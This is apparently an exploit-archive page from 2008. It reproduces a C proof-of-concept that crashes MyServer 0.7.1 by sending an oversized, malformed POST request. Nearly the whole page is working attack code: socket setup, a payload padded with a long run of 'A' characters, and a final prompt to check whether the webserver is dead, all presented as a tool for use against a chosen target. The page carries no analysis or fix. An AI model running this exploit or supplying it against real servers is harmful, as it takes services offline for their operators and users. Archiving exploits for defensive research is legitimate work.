MyServer 0.7.1 (POST) Denial Of Service Exploit

🗓️ 07 Jul 2008 00:00:00Reported by RootType
MyServer 0.7.1 POST Denial Of Service Exploit using PoC to crash the server

                                                /****************************/&nbsp;
PoC&nbsp;to&nbsp;crash&nbsp;the&nbsp;server&nbsp;
/****************************/&nbsp;

/*&nbsp;MyServer&nbsp;0.7.1&nbsp;POST&nbsp;Denial&nbsp;Of&nbsp;Service&nbsp;
vendor&nbsp;URL:&nbsp;
http://www.myserverproject.net&nbsp;

coded&nbsp;and&nbsp;discovered&nbsp;by:&nbsp;
badpack3t&nbsp;
for&nbsp;.:sp&nbsp;research&nbsp;labs:.&nbsp;
www.security-protocols.com&nbsp;
9.20.2004&nbsp;
Tested&nbsp;on&nbsp;Mandrake&nbsp;10.0&nbsp;

usage:&nbsp;
sp-myserv-0.7.1&nbsp;[targetport]&nbsp;(default&nbsp;is&nbsp;80)&nbsp;
*/&nbsp;

#include&nbsp;&lt;'winsock2.h&gt;&nbsp;
#include&nbsp;&lt;'stdio.h&gt;&nbsp;

#pragma&nbsp;comment(lib,&nbsp;&quot;ws2_32.lib&quot;)&nbsp;

char&nbsp;exploit[]&nbsp;=&nbsp;

&quot;POST&nbsp;index.html?View=Logon&nbsp;HTTP/1.1&nbsp;&quot;&nbsp;
&quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&quot;&nbsp;
&quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&quot;&nbsp;
&quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&quot;&nbsp;
&quot;:&nbsp;ihack.ms&nbsp;&quot;;&nbsp;

int&nbsp;main(int&nbsp;argc,&nbsp;char&nbsp;*argv[])&nbsp;
{&nbsp;
WSADATA&nbsp;wsaData;&nbsp;
WORD&nbsp;wVersionRequested;&nbsp;
struct&nbsp;hostent&nbsp;*pTarget;&nbsp;
struct&nbsp;sockaddr_in&nbsp;sock;&nbsp;
char&nbsp;*target;&nbsp;
int&nbsp;port,bufsize;&nbsp;
SOCKET&nbsp;mysocket;&nbsp;

if&nbsp;(argc&nbsp;&lt;&nbsp;2)&nbsp;
{&nbsp;
printf(&quot;MyServer&nbsp;0.7.1&nbsp;POST&nbsp;DoS&nbsp;by&nbsp;badpack3t&nbsp;&quot;,&nbsp;argv[0]);&nbsp;
printf(&quot;Usage:&nbsp;%s&nbsp;[targetport]&nbsp;(default&nbsp;is&nbsp;80)&nbsp;&quot;,&nbsp;argv[0]);&nbsp;
printf(&quot;www.security-protocols.com&nbsp;&quot;,&nbsp;argv[0]);&nbsp;
exit(1);&nbsp;
}&nbsp;

wVersionRequested&nbsp;=&nbsp;MAKEWORD(1,&nbsp;1);&nbsp;
if&nbsp;(WSAStartup(wVersionRequested,&nbsp;&amp;wsaData)&nbsp;&lt;&nbsp;0)&nbsp;return&nbsp;-1;&nbsp;

target&nbsp;=&nbsp;argv[1];&nbsp;
port&nbsp;=&nbsp;80;&nbsp;

if&nbsp;(argc&nbsp;&gt;=&nbsp;3)&nbsp;port&nbsp;=&nbsp;atoi(argv[2]);&nbsp;
bufsize&nbsp;=&nbsp;1024;&nbsp;
if&nbsp;(argc&nbsp;&gt;=&nbsp;4)&nbsp;bufsize&nbsp;=&nbsp;atoi(argv[3]);&nbsp;

mysocket&nbsp;=&nbsp;socket(AF_INET,&nbsp;SOCK_STREAM,&nbsp;0);&nbsp;
if(mysocket==INVALID_SOCKET)&nbsp;
{&nbsp;
printf(&quot;Socket&nbsp;error!&nbsp;&quot;);&nbsp;
exit(1);&nbsp;
}&nbsp;

printf(&quot;Resolving&nbsp;Hostnames...&nbsp;&quot;);&nbsp;
if&nbsp;((pTarget&nbsp;=&nbsp;gethostbyname(target))&nbsp;==&nbsp;NULL)&nbsp;
{&nbsp;
printf(&quot;Resolve&nbsp;of&nbsp;%s&nbsp;failed&nbsp;&quot;,&nbsp;argv[1]);&nbsp;
exit(1);&nbsp;
}&nbsp;

memcpy(&amp;sock.sin_addr.s_addr,&nbsp;pTarget-&gt;h_addr,&nbsp;pTarget-&gt;h_length);&nbsp;
sock.sin_family&nbsp;=&nbsp;AF_INET;&nbsp;
sock.sin_port&nbsp;=&nbsp;htons((USHORT)port);&nbsp;

printf(&quot;Connecting...&nbsp;&quot;);&nbsp;
if&nbsp;(&nbsp;(connect(mysocket,&nbsp;(struct&nbsp;sockaddr&nbsp;*)&amp;sock,&nbsp;sizeof&nbsp;(sock)&nbsp;)))&nbsp;
{&nbsp;
printf(&quot;Couldn't&nbsp;connect&nbsp;to&nbsp;host.&nbsp;&quot;);&nbsp;
exit(1);&nbsp;
}&nbsp;

printf(&quot;Connected!...&nbsp;&quot;);&nbsp;
printf(&quot;Sending&nbsp;Payload...&nbsp;&quot;);&nbsp;
if&nbsp;(send(mysocket,&nbsp;exploit,&nbsp;sizeof(exploit)-1,&nbsp;0)&nbsp;==&nbsp;-1)&nbsp;
{&nbsp;
printf(&quot;Error&nbsp;Sending&nbsp;the&nbsp;Exploit&nbsp;Payload&nbsp;&quot;);&nbsp;
closesocket(mysocket);&nbsp;
exit(1);&nbsp;
}&nbsp;

printf(&quot;Payload&nbsp;has&nbsp;been&nbsp;sent!&nbsp;Check&nbsp;if&nbsp;the&nbsp;webserver&nbsp;is&nbsp;dead!&nbsp;&quot;);&nbsp;
closesocket(mysocket);&nbsp;
WSACleanup();&nbsp;
return&nbsp;0;&nbsp;
}
07 Jul 2008 00:00Current
7.1High risk
Vulners AI Score7.1